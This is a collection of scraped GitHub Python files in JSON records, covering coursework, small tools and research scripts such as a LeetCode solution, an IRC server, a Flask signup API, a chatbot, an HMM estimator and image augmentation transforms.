{"seq_id":"37896172130","text":"#!/Library/Frameworks/Python.framework/Versions/3.7/bin/python3\n\nimport cgi\nimport base\nimport model\n\nfieldStorage = cgi.FieldStorage()\nfirstname = fieldStorage.getvalue(\"firstname\")\nemail = fieldStorage.getvalue(\"email\")\n\nbase.header()\nbase.navbar(firstname, email)\nresult = model.getProfileDetails(email)\nbase.editProfileForm(firstname, email, result)\nbase.profilePicModal(firstname, email)\nbase.runScript(result.relationship_status)\nbase.footer()\n","repo_name":"anmolrajaroraa/adv-python-reg-dec","sub_path":"SocialNetwork/cgi-bin/editProfile.py","file_name":"editProfile.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7659049533","text":"'''\n@lsy 2019.11.12\n\nSolution 1: 数组前缀和\n设置prefixSum，计算到第i个数字为止的和。\n    prefixSum[j] - prefixSum[i] 表示 nums[i] + ... + nums[j-1]\n    第一个位置要插入 0. 对于 nums = [1,2] 的情况。\n遍历prefixSum，可以使用两层遍历（超时），这边使用minSum记录出现过的最小的sum。\n时间复杂度O(n)\n\nSolution 2: DP\ndp[i]表示以nums[i]为结尾的最大的子串和。\n公式：dp[i] = dp[i-1] + nums[i] if dp[i-1] >= 0 else nums[i]\n结果：max(dp)\n时间复杂度O(n)\n'''\n# Solution 1\nclass Solution:\n    def maxSubArray(self, nums: List[int]) -> int:\n        if not nums:\n            return \n        \n        prefixSum = [0]\n        for n in nums:\n            tmp = n + prefixSum[-1]\n            prefixSum.append(tmp)\n                \n        maxSum = prefixSum[1]\n        minSum = prefixSum[0]\n        for i in range(1, len(prefixSum)):\n            maxSum = max(maxSum, prefixSum[i] - minSum)\n            if prefixSum[i] < minSum:\n                minSum = prefixSum[i]\n                \n        return maxSum\n        \n# Solution 2\nclass Solution:\n    def maxSubArray(self, nums: List[int]) -> int:\n        if not nums:\n            return \n        \n        dp = [0 for _ in range(len(nums))]\n        dp[0] = nums[0]\n        for i in range(1, len(nums)):\n            dp[i] = dp[i-1] + nums[i] if dp[i-1] >= 0 else nums[i]\n        \n        return max(dp)\n        ","repo_name":"SuyuanLiu/Algorithm","sub_path":"Leetcode高频题/maxSubArray.py","file_name":"maxSubArray.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"16367130979","text":"import os\r\nimport imageio\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nfrom pydotplus import graph_from_dot_data\r\nfrom sklearn.tree import export_graphviz\r\n\r\n# 可视化整颗决策树\r\n# filled=Ture添加颜色，rounded增加边框圆角\r\n# out_file=None直接把数据赋给dot_data，不产生中间文件.dot\r\ndot_data = export_graphviz(tree, filled=True, rounded=True,\r\n                           class_names=['山鸢尾', '杂色鸢尾', '维吉尼亚鸢尾'],\r\n                           feature_names=['花瓣长度', '花瓣宽度'], out_file=None)\r\ngraph = graph_from_dot_data(dot_data)\r\nif not os.path.exists('代码-决策树.png'):\r\n    graph.write_png('代码-决策树.png')\r\n\r\n# 等比例改变图片大小\r\ndef cut_img(img_path, new_width, new_height=None):\r\n    img = Image.open(img_path)\r\n    width, height = img.size\r\n    if new_height is None:\r\n        new_height = int(height * (new_width / width))\r\n    new_img = img.resize((new_width, new_height), Image.ANTIALIAS)\r\n    os.remove(img_path)\r\n    new_img.save(img_path)\r\n    new_img.close()\r\n\r\n\r\ncut_img('代码-决策树.png', 500)\r\n\r\n# 只是为了展示图片，没有其他作用\r\nimg = imageio.imread('代码-决策树.png')\r\nplt.imshow(img)\r\nplt.show()","repo_name":"K1sna/ML_PracticeOfLesson","sub_path":"Demo_1/DT_demo/DTreeC_Vision.py","file_name":"DTreeC_Vision.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"28843162681","text":"from .client import clients\nfrom .handler import handler\nimport asyncio\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\n\nasync def handle_incoming(reader, writer):\n    client = clients.new(reader, writer, handler)\n    while True:\n        line = await reader.readline()\n        if reader.at_eof() or client not in client.manager:\n            logging.info(\"Client disconnected: {}\".format(client.id))\n            return client.done()\n\n        else:\n            handler.handle(client, line)\n\nloop = asyncio.get_event_loop()\nclients.loop = loop\n\ncoro = asyncio.start_server(handle_incoming, \"127.0.0.1\", 6667)\nserver = loop.run_until_complete(coro)\nloop.run_forever()\n","repo_name":"an-empty-string/irc2","sub_path":"irc2/ircd/ircd.py","file_name":"ircd.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"24401378345","text":"cursisten = dict()\ncursisten[\"bert\"] = 3\ncursisten[\"erik\"] = 7\ncursisten[\"bob\"] =  4\ncursisten[\"bill\"] = 6.4\ncursisten[\"rick\"] = 9.1\ncursisten[\"ashley\"] = 9.2\ncursisten[\"troll\"] = 10\ncursisten[\"bart\"] = 1\n\nfor key in cursisten:\n    if cursisten[key] > 9:\n        print(key,\"heeft een\", cursisten[key], \"gehaald!\")\n","repo_name":"tloader11/TICT-V1PROG-15","sub_path":"Les 7/7_3.py","file_name":"7_3.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71225563631","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan  7 01:00:02 2017\n\n@author: yxl\n\"\"\"\n\nfrom sciapp.action import Free\nimport wx,os\nfrom imagepy import root_dir\nfrom imagepy.app import loader, ConfigManager, DocumentManager\nfrom wx.py.editor import EditorFrame\nfrom sciwx.text import MDPad\nfrom glob import glob\n\nclass Plugin ( wx.Panel ):\n    title = 'Plugin Tree View'\n    single = None\n    def __init__( self, parent, app=None):\n        wx.Panel.__init__ ( self, parent, id = wx.ID_ANY, \n                            pos = wx.DefaultPosition, size = wx.Size( 500,300 ), \n                            style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL )\n        self.app = app\n        bSizer1 = wx.BoxSizer( wx.HORIZONTAL )\n        \n        self.tre_plugins = wx.TreeCtrl( self, wx.ID_ANY, wx.DefaultPosition, \n                                        wx.DefaultSize, wx.TR_DEFAULT_STYLE )\n        self.tre_plugins.SetMinSize( wx.Size( 300,-1 ) )\n        \n        bSizer1.Add( self.tre_plugins, 0, wx.ALL|wx.EXPAND, 5 )\n        bSizer3 = wx.BoxSizer( wx.VERTICAL )\n        bSizer4 = wx.BoxSizer( wx.HORIZONTAL )\n        \n        self.m_staticText2 = wx.StaticText( self, wx.ID_ANY, \"Plugin Information\",\n                                            wx.DefaultPosition, wx.DefaultSize, 0 )\n        self.m_staticText2.Wrap( -1 )\n        bSizer4.Add( self.m_staticText2, 0, wx.ALL, 5 )\n        \n        self.m_staticText3 = wx.StaticText( self, wx.ID_ANY, \"[SourceCode]\", \n                                            wx.DefaultPosition, wx.DefaultSize, 0 )\n        self.m_staticText3.Wrap( -1 )\n        self.m_staticText3.SetForegroundColour(\n            wx.SystemSettings.GetColour( wx.SYS_COLOUR_HIGHLIGHT ) )\n        \n        bSizer4.Add( self.m_staticText3, 0, wx.ALL, 5 )\n        bSizer3.Add( bSizer4, 0, wx.EXPAND, 5 )\n        \n        self.txt_info = MDPad( self )\n        bSizer3.Add( self.txt_info, 1, wx.ALL|wx.EXPAND, 5 )\n        \n        \n        bSizer1.Add( bSizer3, 1, wx.EXPAND, 5 )\n        self.SetSizer( bSizer1 )\n        self.Layout()\n        \n        self.Centre( wx.BOTH )\n        \n        # Connect Events\n        self.tre_plugins.Bind( wx.EVT_TREE_ITEM_ACTIVATED, self.on_run )\n        self.tre_plugins.Bind( wx.EVT_TREE_SEL_CHANGED, self.on_select )\n        self.m_staticText3.Bind( wx.EVT_LEFT_DOWN, self.on_source )\n        self.plg = None\n        self.load()\n        \n    def addnode(self, parent, data):\n        for i in data:\n            if i=='-':continue\n            if isinstance(i, tuple):\n                item = self.tre_plugins.AppendItem(parent, i[0].title)\n                self.tre_plugins.SetItemData(item, i[0])\n                self.addnode(item, i[1])\n            else:\n                item = self.tre_plugins.AppendItem(parent, i.title)\n                self.tre_plugins.SetItemData(item, i)\n                \n    def load(self):\n        data = loader.build_plugins(root_dir+'/menus')\n        extends = glob(root_dir+'/plugins/*/menus')\n        keydata = {}\n        for i in data[1]:\n            if isinstance(i, tuple): keydata[i[0].title] = i[1]\n        for i in extends:\n            plgs = loader.build_plugins(i)\n            data[2].extend(plgs[2])\n            for j in plgs[1]:\n                if not isinstance(j, tuple): continue\n                name = j[0].title\n                if name in keydata: keydata[name].extend(j[1])\n                else: data[1].append(j)\n        root = self.tre_plugins.AddRoot('Plugins')\n        self.addnode(root, data[1])\n    \n    # Virtual event handlers, overide them in your derived class\n    def on_run( self, event ):\n        plg = self.tre_plugins.GetItemPyData(event.GetItem())\n        if hasattr(plg, 'start'):plg().start(self.app)\n    \n    def on_select( self, event ):\n        plg = self.tre_plugins.GetItemData(event.GetItem())\n        if plg!=None:\n            self.plg = plg\n            name = self.tre_plugins.GetItemText(event.GetItem())\n            lang = ConfigManager.get('language')\n            doc = DocumentManager.get(name, tag=lang)\n            doc = doc or DocumentManager.get(name, tag='English')\n            self.txt_info.set_cont(doc or 'No Document!')\n        \n    def on_source(self, event):\n        ## TODO: should it be absolute path ?\n        filename = self.plg.__module__.replace('.','/')+'.py'\n        #print('==========', filename)\n        root = os.path.split(root_dir)[0]\n        filename=os.path.join(root,filename)\n        #print(filename)\n        EditorFrame(filename=filename).Show()","repo_name":"Image-Py/imagepy","sub_path":"imagepy/menus/Plugins/Manager/plgtree_wgt.py","file_name":"plgtree_wgt.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","stars":1265,"dataset":"github-code","pt":"38"}
{"seq_id":"936131747","text":"# coding=utf-8\nimport logging\nimport os\nimport flask_restplus\nfrom flask import request, redirect\n\nfrom file_management import services\nfrom file_management.extensions import Namespace\nfrom file_management.helpers import decode_token\nfrom file_management.services.pending_register import send_confirm_email\nfrom file_management.repositories.files import insert, utils\n\n# from file_management.api import requests, responses\nfrom . import requests, responses\n\n__author__ = 'LongHB'\n_logger = logging.getLogger(__name__)\n\nns = Namespace('register', description='Register operations')\n\n_register_req = ns.model('register_req', requests.register_user_req)\n_register_res = ns.model('register_res', responses.pending_register_res)\n\n\n@ns.route('/', methods=['GET', 'POST'])\nclass Registers(flask_restplus.Resource):\n    @ns.expect(_register_req, validate=True)\n    @ns.marshal_with(_register_res)\n    def post(self):\n        \"validate register data, add data to pending register table and send confirm email\"\n        data = request.args or request.json\n        pending_register = services.pending_register.create_pending_register(\n            **data)\n        send_confirm_email(**data)\n        return pending_register\n\n\n@ns.route('/confirm_email/<token>', methods=['GET'])\nclass Confirm_email(flask_restplus.Resource):\n\n    def get(self, token):\n        \"checking jwt token in param and add new user to user table\"\n        email = decode_token(token)\n        user = services.user.confirm_user_by_email(email)\n\n        user_inf = user.to_display_dict()\n        user_id = user_inf['user_id']\n        # create home\n        insert.insert(str(user_id), \"home\", 0, \"0\", str(user_id), \"folder\", \"\", \"\")\n        folders = utils.get_ancestors(str(user_id))\n        path_upload = '/'.join(folders)\n        if not os.path.exists(path_upload):\n            os.makedirs(path_upload)\n        return redirect(\"http://ufile.ml\")\n","repo_name":"longhoang08/FileManagementSystem","sub_path":"backend/file_management/api/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"41550975537","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 26 12:59:38 2019\n\n@author: thiya\n\"\"\"\n\nimport nltk\nimport random\n\n\n#cleaning the text\nimport re\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\nfrom nltk.stem import WordNetLemmatizer\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\n\nps = PorterStemmer()\nwordnet = WordNetLemmatizer()\n\n# Keyword Matching\nGREETING_INPUTS = (\"hello\", \"hi\", \"greetings\", \"sup\", \"what's up\",\"hey\",)\nGREETING_RESPONSES = [\"hi\", \"hey\", \"*nods*\", \"hi there\", \"hello\", \"I am glad! You are talking to me\"]\n\n#Reading in the corpus\nwith open('chatbot.txt','r', encoding='utf8', errors ='ignore') as fin:\n    raw = fin.read()\n \nsentences = nltk.sent_tokenize(raw)\n\n#Preprocessing\ncorpus=[]\nfor i in range(len(sentences)):\n    prereview = re.sub('[^a-zA-Z]', ' ', sentences[i])\n    prereview = prereview.lower()\n    prereview = prereview.split()\n    prereview = [wordnet.lemmatize(word) for word in prereview if word not in set(stopwords.words(\"english\"))]\n    prereview = ' '.join(prereview)\n    corpus.append(prereview)\n\n\ndef greeting(greet):\n    \"\"\"If user's input is a greeting, return a greeting response\"\"\"\n    for word in greet.split():\n        if word.lower() in GREETING_INPUTS:\n            return random.choice(GREETING_RESPONSES)\n\n\n\ndef response(user_response):\n    review = re.sub('[^a-zA-Z]', ' ', user_response)\n    review = review.lower()\n    review = review.split()\n    review = [wordnet.lemmatize(word) for word in review if word not in set(stopwords.words(\"english\"))]\n    review = ' '.join(review)\n    corpus.append(review)\n    \n    \n    #creating the TF-IDF model\n    cv = TfidfVectorizer()\n    X = cv.fit_transform(corpus)\n\n    vals = cosine_similarity(X[-1], X)\n    idx=vals.argsort()[0][-2]\n    flat = vals.flatten()\n    flat2=flat.copy()\n    flat.sort()\n    req_tfidf = flat[-2]\n\n    if(req_tfidf==0):\n        robo_response=\"I am sorry! I don't understand you\"\n    else:\n        robo_response = sentences[idx]\n   \n    corpus.pop()\n    return robo_response\n\nflag=True\nprint(\"Flexi: My name is Flexi. I will answer your queries about Chatbots. If you want to exit, type Bye!\")\nwhile(flag==True):\n    user_response = input(\"You :\")\n    user_response=user_response.lower()\n    if(user_response!='bye'):\n        if(user_response=='thanks' or user_response=='thank you' ):\n            flag=False\n            print(\"Flexi: You are welcome..\")\n        else:\n            if(greeting(user_response)!=None):\n                print(\"Flexi: \"+greeting(user_response))\n            else:\n                print(\"Flexi: \",end=\"\")\n                print(response(user_response))\n#                sent_tokens.remove(user_response)\n    else:\n        flag=False\n        print(\"Flexi: Bye! take care..\")    \n \n \n ","repo_name":"softechie/ProjectEagle_L6_AI_ML_NLP","sub_path":"FlexiBot/Flexibot2.py","file_name":"Flexibot2.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"42658007379","text":"\"\"\"\nPrepares data full res nissl images and bead coordinates data for Josh Welch lab.\n\n\nExample:\n\npython src/python/scripts/misc/for_umich/prep_nissl_data.py \\\n    ~/Desktop/work/data/mouse_atlas \\\n    /data_v3_nissl_post_qc/s2_seg_ids/id_to_tiff_mapper.csv \\\n    /macosko_data/mraj/mouse_atlas_data/forJonah/tiff_from_vsi_maxres \\\n    /data_v3_nissl_post_qc/s4_bead_to_segid/bead_to_nis_coords \\\n    /misc/for_william \\\n\nCreated by Mukund on 2023-04-11\n\n\"\"\"\n\nimport sys\nfrom produtils import dprint\nimport subprocess\nimport os\nimport shutil\n\n\ndata_root = sys.argv[1]\nid_to_tiff_mapper_file = f'{data_root}/{sys.argv[2]}'\ngbucket_tiff_folder = f'{sys.argv[3]}'\nbead_to_nis_coords_folder = f'{data_root}/{sys.argv[4]}'\nop_folder = f'{data_root}/{sys.argv[5]}'\n\n# read id to tiff mapper csv\nid_to_tiff_mapper = {}\nwith open(id_to_tiff_mapper_file, 'r') as f:\n    for line in f:\n        line = line.strip()\n        if line == '':\n            continue\n        seg_id, tiff_file = line.split(',')\n        id_to_tiff_mapper[int(seg_id)] = tiff_file\n\n# dprint(id_to_tiff_mapper)\n\n\n# copy tiffs from gbucket to local\n# iterate over pids\nstart_pid = 59 # 1\nend_pid = 101 # 207\npids = list(range(int(start_pid), int(end_pid)+1, 2))\n\nif 5 in pids:\n    pids.remove(5)\nif 77 in pids:\n    pids.remove(77)\nif 167 in pids:\n    pids.remove(167)\n\n# iterate over pids\nfor pids_idx, pid in enumerate(pids[:10]):\n\n    pid_str = str(pid).zfill(3)\n    tiff_file = id_to_tiff_mapper[pid]\n\n    src = f'gs:/{gbucket_tiff_folder}/nis_{tiff_file}'\n    dst = f'{op_folder}/pngs/{pid_str}.tif'\n    download_cmd = f'gsutil cp {src} {dst}'\n    convert_cmd = f'magick {dst} {op_folder}/pngs/{pid_str}.png'\n    delete_cmd = f'rm {dst}'\n\n    dprint(download_cmd)\n    os.system(download_cmd)\n    dprint(convert_cmd)\n    os.system(convert_cmd)\n    dprint(delete_cmd)\n    os.system(delete_cmd)\n\n\n\ndprint('done')\n\n","repo_name":"mukundraj/broad-registration","sub_path":"src/python/scripts/misc/for_umich/prep_nissl_data.py","file_name":"prep_nissl_data.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32268595389","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport scipy.special as spl\nimport numpy.linalg as linalg\n\ndef f(g, w, x):\n    return (x / w) ** (g - 1) * np.exp(- x / w) / (w * spl.gamma(g))\n\ndef fy(y, i, params):\n    (gt, wt, gp, wp) = params\n    return f(gt[i], wt[i], y[0]) * f(gp[i], wp[i], y[1])\n\ndef compute_alpha(A, y, params):\n    num_states = A.shape[0]\n    Lk = y.shape[0]\n    alpha = np.zeros((Lk, num_states))\n    alpha[0, 0] = 1\n    for n in range(1, Lk):\n        for j in range(num_states):\n            alpha[n, j] = np.sum(alpha[n-1, :] * A[:, j]) * fy(y[n], j, params)\n    return alpha\n\ndef compute_beta(A, y, params):\n    num_states = A.shape[0]\n    Lk = y.shape[0]\n    beta= np.zeros((Lk, num_states))\n    beta[-1, :] = 1\n    for n in range(Lk-2, 0, -1):\n        for i in range(num_states):\n            for j in range(num_states):\n                beta[n, i] += A[i, j] * fy(y[n+1], j, params) * beta[n+1, j]\n    return beta\n\ndef update(A, y, alpha, beta, params):\n    num_states = A.shape[0]\n    Lk = y.shape[0]\n    gtwt = np.zeros(num_states)\n    gtwt2 = np.zeros(num_states)\n    gpwp = np.zeros(num_states)\n    gpwp2 = np.zeros(num_states)\n    A_new = A.copy()\n    (gt, wt, gp, wp) = params\n    for i in range(num_states):\n        for j in range(num_states):\n            fyn = []\n            for n in range(Lk):\n                fyn.append( fy(y[n], j, params) )\n            fyn = np.array(fyn)\n            A_new[i, j] = np.sum(alpha[:-1, i] * A[i, j] * fyn[1:] * beta[1:, j]) / np.sum(alpha[:-1, i] * beta[:-1, i])\n        gtwt[i] = np.sum(alpha[:, i] * beta[:, i] * y[:, 0]) / np.sum(alpha[:-1, i] * beta[:-1, i])\n        gpwp[i] = np.sum(alpha[:, i] * beta[:, i] * y[:, 1]) / np.sum(alpha[:-1, i] * beta[:-1, i])\n        gtwt2[i] = np.sum(alpha[:, i] * beta[:, i] * (y[:, 0] - gtwt[i])**2) / np.sum(alpha[:-1, i] * beta[:-1, i])\n        gtwt2[i] = np.sum(alpha[:, i] * beta[:, i] * (y[:, 1] - gpwp[i])**2) / np.sum(alpha[:-1, i] * beta[:-1, i])\n\n    # Get back parameters\n    i1 = (abs(gtwt) > 1e-5)\n    i2 = (abs(gpwp) > 1e-5)\n    wt[i1] = gtwt2[i1] / gtwt[i1]\n    wp[i2] = gpwp2[i2] / gpwp[i2]\n    i3 = (abs(wt) > 1e-5)\n    i4 = (abs(wp) > 1e-5)\n    gt[i3] = gtwt[i3] / wt[i3]\n    gp[i4] = gpwp[i4] / wp[i4]\n\n    new_params = (gt, wt, gp, wp)\n    return (A_new, new_params)\n\n\nif __name__ == '__main__':\n\n    y = np.load('bursts_5.npy')\n\n    num_states = 3\n    A = np.ones((num_states, num_states)) / num_states\n    q = np.ones(num_states) / num_states\n\n    dmin = y[:, 0].min()\n    dmax = y[:, 0].max()\n    bmin = y[:, 0].min()\n    bmax = y[:, 0].max()\n\n    #mut = np.arange(num_states) * (dmax - dmin) / (num_states+1) + 1\n    #mup = np.arange(num_states) * (bmax - bmin) / (num_states+1) + 1\n    #sigmat = (dmax - dmin) / (5 * (num_states+1))\n    #sigmap = (bmax - bmin) / (5 * (num_states+1))\n\n    mut = np.array([10, 30, 100])\n    mup = np.array([200, 800, 2000])\n    sigmat = np.array([100, 900, 1e4])\n    sigmap = np.array([200, 800, 2000])\n\n    # Initialize params\n    wt = sigmat ** 2 / mut\n    wp = sigmap ** 2 / mup\n    gt = mut / wt\n    gp = mup / wp\n\n    params = (gt, wt, gp, wp)\n\n    for k in range(1):\n        alpha = compute_alpha(A, y, params)\n        beta = compute_beta(A, y, params)\n        print(alpha)\n        print(beta)\n        (A_new, new_params) = update(A, y, alpha, beta, params)\n        A = A_new\n        params = new_params\n        print(k)\n        print(params)\n        print(A)\n        print('-------')\n\n    (eigvals, eigvecs) = linalg.eig(A)\n    index = np.argmin(abs(eigvals - 1))    # Find the eigenvalue closest to 1\n    q = eigvecs[:, index]\n\n    print(q)\n\n","repo_name":"praveenv253/hmm-estimation-project","sub_path":"hmm.py","file_name":"hmm.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29107062439","text":"import torch\nfrom skimage import transform\nimport random\nimport numpy as np\n\nclass Rescale(object):\n    \"\"\"Rescale the 3 3D images in a sample to a given size.\n    Args:\n        output_size (tuple or int): Desired output size of widht ad height (Lenght stays the same) \n    \"\"\"\n    def __init__(self, output_size):\n        assert isinstance(output_size, (int, tuple))\n        if isinstance(output_size, int):\n            self.output_size = (output_size, output_size)\n        else:\n            assert len(output_size) == 2\n            self.output_size = output_size\n            \n    def __call__(self, sample):\n        image=sample\n    \n        c,f,h, w = image.shape\n        \n        if isinstance(self.output_size, int):\n            if h > w:\n                new_h, new_w = self.output_size * h / w, self.output_size\n            else:\n                new_h, new_w = self.output_size, self.output_size * w / h\n        else:\n            new_h, new_w = self.output_size\n            \n        \n        new_h, new_w = int(new_h), int(new_w)\n        #Generate a resize\n        frames=np.zeros((c,f,new_h, new_w))\n        for c_i in range(c):\n            for f_i in range(f):\n                new_image=transform.resize(image[c_i,f_i,:,:],(new_h, new_w))\n                frames [c_i,f_i,:,:]=new_image\n        \n        return frames\n\nclass RandomCrop(object):\n    \"\"\"Crop randomly the 3D image in a sample, using the same crop for all filters and frames\n    \n    Args:\n        output_size (tuple or int): Desired output size of each frame of each filter. If int, square crop\n            is made.\n    \"\"\"\n    def __init__(self, output_size):\n        assert isinstance(output_size, (int, tuple))\n        if isinstance(output_size, int):\n            self.output_size = (output_size, output_size)\n        else:\n            assert len(output_size) == 2\n            self.output_size = output_size\n    \n    def __call__(self, sample):\n        image= sample\n        \n        c,f,h, w = image.shape\n        new_h, new_w = self.output_size      \n        top = np.random.randint(0, abs(h - new_h))\n        left = np.random.randint(0, abs(w - new_w))\n        frames = image[:,:,top: top + new_h,left: left + new_w]\n        return frames\n    \nclass Normalize(object):\n    \"\"\"Normalize the 3 filters \n    \n    Args:\n        output_size (tuple or int): Desired output size of each frame of each filter. If int, square crop\n            is made.\n    \"\"\"\n    def __init__(self, mean, stddev):\n        self.mean = mean\n        self.stddev= stddev\n    \n    def __call__(self, sample):\n        image= sample\n        \n        c,f,h, w = image.shape\n        for c_i in range(c):\n             image[c_i,:,:,:]=(image[c_i,:,:,:] - self.mean[c_i])/self.stddev[c_i]\n        return image\n    \nclass RandomRotate(object):\n    \"\"\" Rotate 90/180/270 degrees all filters\"\"\"\n    def __init__(self):\n        \n        self.degrees=list([0,0,0,90,180,270])\n        \n    \n    def __call__ (self,sample):\n        c,f,h, w = sample.shape\n        choice=random.choice(self.degrees)\n        if choice==90:\n            frames=np.zeros((c,f,w, h))\n            for c_i in range(c):\n                for f_i in range(f):\n                    frames[c_i,f_i,:,:]= np.rot90(sample[c_i,f_i,:,:])\n            return frames       \n            #rotate 90 degrees\n        elif choice==180:\n            #rotate 180 degrees\n            frames=np.zeros((c,f,h, w))\n            for c_i in range(c):\n                for f_i in range(f):\n                    frames[c_i,f_i,:,:]= np.rot90(sample[c_i,f_i,:,:],2)\n            return frames\n        elif choice==270:\n            frames=np.zeros((c,f,w, h))\n            for c_i in range(c):\n                for f_i in range(f):\n                    frames[c_i,f_i,:,:]= np.rot90(sample[c_i,f_i,:,:],-1)\n            return frames\n        else:\n            return sample\n            #rotate 270 degrees\n            \nclass RandomFlip(object):        \n    def __init__(self):\n        self.direction=list([\"Nothing\",\"Nothing\",\"LRDirection\",\"UDDirection\"])\n        \n    def __call__ (self,sample):\n        c,f,h, w = sample.shape\n        choice=random.choice(self.direction)\n        if choice == \"Nothing\":\n            #Do nothing\n            return sample\n        elif choice==\"LRDirection\":\n            frames=np.zeros((c,f,h, w))\n            for c_i in range(c):\n                for f_i in range(f):\n                    frames[c_i,f_i,:,:]= np.fliplr(sample[c_i,f_i,:,:])\n            return frames\n        elif choice==\"UDDirection\":\n            frames=np.zeros((c,f,h,w))\n            for c_i in range(c):\n                for f_i in range(f):\n                    frames[c_i,f_i,:,:]= np.flipud(sample[c_i,f_i,:,:])\n            return frames\n        \nclass RandomBrightner(object):\n    \"\"\"Brightness the 3 filters \n    \n    Args:\n        output_size (tuple or int): Desired output size of each frame of each filter. If int, square crop\n            is made.\n    \"\"\"\n    def __init__(self,var):\n        self.var = var\n    \n    def __call__(self, sample):\n        image= sample\n        if random.randint(0,1)==1:\n            alpha = random.uniform(0.9, self.var)\n            c,f,h, w = image.shape\n            image=image*alpha\n\n        return image\n    \n            \n        \n                \nclass ToTensor(object):\n    \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n    def __call__(self, sample):\n\n        return torch.from_numpy(np.asarray(sample).astype(np.float32))  \n    \n","repo_name":"fmcalcagno/TaraPlanktonRecognition","sub_path":"Transformations3D.py","file_name":"Transformations3D.py","file_ext":"py","file_size_in_byte":5447,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"38219730650","text":"import sys\nimport string\nimport time\nimport threading\n\ndef ParseMulti(line, matrix):\n    cleanLine=line.split(\",\")\n    for col in range(0,5000):\n        matrix[col] = cleanLine[col]\n\n\ndef SumMulti(matrix, row, buffer, tempSum):\n    for col in range(0,5000):\n        tempSum += int(matrix[col])\n    buffer[row] = tempSum\n\n\n\nprint(\"Single Thread Results:\")\n\n#Read the File\nstart = time.time()\nfile = open(\"c:\\Benchmark\\Matrix.txt\", \"r\")\nend = time.time()\nprint(\"Read time is :\" + str(end - start))\n#Parse The Data\nstart = time.time()\nrow = 0\nmatrix = [[0 for x in range(5000)] for y in range(5000)]\nfor line in file: \n    col = 0\n    cleanLine=line.split(\",\")\n    for item in cleanLine:\n        if (col < 5000):\n            matrix[row][col] = item\n            col += 1\n    row+=1\nend = time.time()\nprint(\"Parse time is :\" + str(end - start))\nparseTimeSingle = end - start\n#Sum the Data\nstart = time.time()\nsum = 0\nfor row in range(0,5000): \n    for col in range(0,5000):\n        sum += int(matrix[row][col])\nend = time.time()\nprint(\"Sum time is :\" + str(end - start))\nprint(\"The sum is :\" + str(sum))\nsumTimeSingle = end - start\n\n\nprint(\"---------------------------------------------------------------\")\n\nprint(\"Multi Thread Results:\")\n\nmatrix2 = [[0 for x in range(5000)] for y in range(5000)]\nbuffer1 = [0 for x in range(5000)]\nfile2 = open(\"c:\\Benchmark\\Matrix.txt\", \"r\")\nstart = time.time()\nrow = 0\nthreads = []*4\nfor line in file2:\n    t = threading.Thread(target = ParseMulti, name = 'thread{}'.format(row), args =(line, matrix2[row]) )\n    threads.append(t)\n    t.start()\n    row+=1\n    \nfor i in threads:\n    i.join()\nend = time.time()\nprint(\"Multi-Parse time is :\" + str(end - start))\nparseTimeMulti = end - start\n\nstart = time.time()\ntempSum = 0\nthreads2 = []*4\nfor row1 in range(0,5000):\n    t2 = threading.Thread(target = SumMulti, name = 'thread{}'.format(row1), args =(matrix2[row1], row1, buffer1, tempSum))\n    threads.append(t2)\n    t2.start()\n    \nfor i in threads2:\n    i.join()\n    \nsumBuffer = 0\nfor item in buffer1:\n    sumBuffer+=item\n    \nend = time.time()\nprint(\"Multi-Sum time is :\" + str(end - start))\nsumTimeMulti = end - start\nprint(\"The Multi sum is :\" + str(sumBuffer))\n\nprint(\"---------------------------------------------------------------\")\nbetterParse = (parseTimeSingle - parseTimeMulti)/(parseTimeSingle)*100\nbetterSum = (sumTimeSingle - sumTimeMulti)/(sumTimeSingle)*100 \nprint(\"Multi is better than Single in Parse: \" + str(betterParse) + \"%\")\nprint(\"Multi is better than Single in Sum: \" + str(betterSum) + \"%\")\n","repo_name":"Tomerder/Csharp","sub_path":"BenchmarkMatrixSum/BenchmarkMatrixSum/BenchmarkMatrixSum/Code/Erez_Python/Benchmark.py","file_name":"Benchmark.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
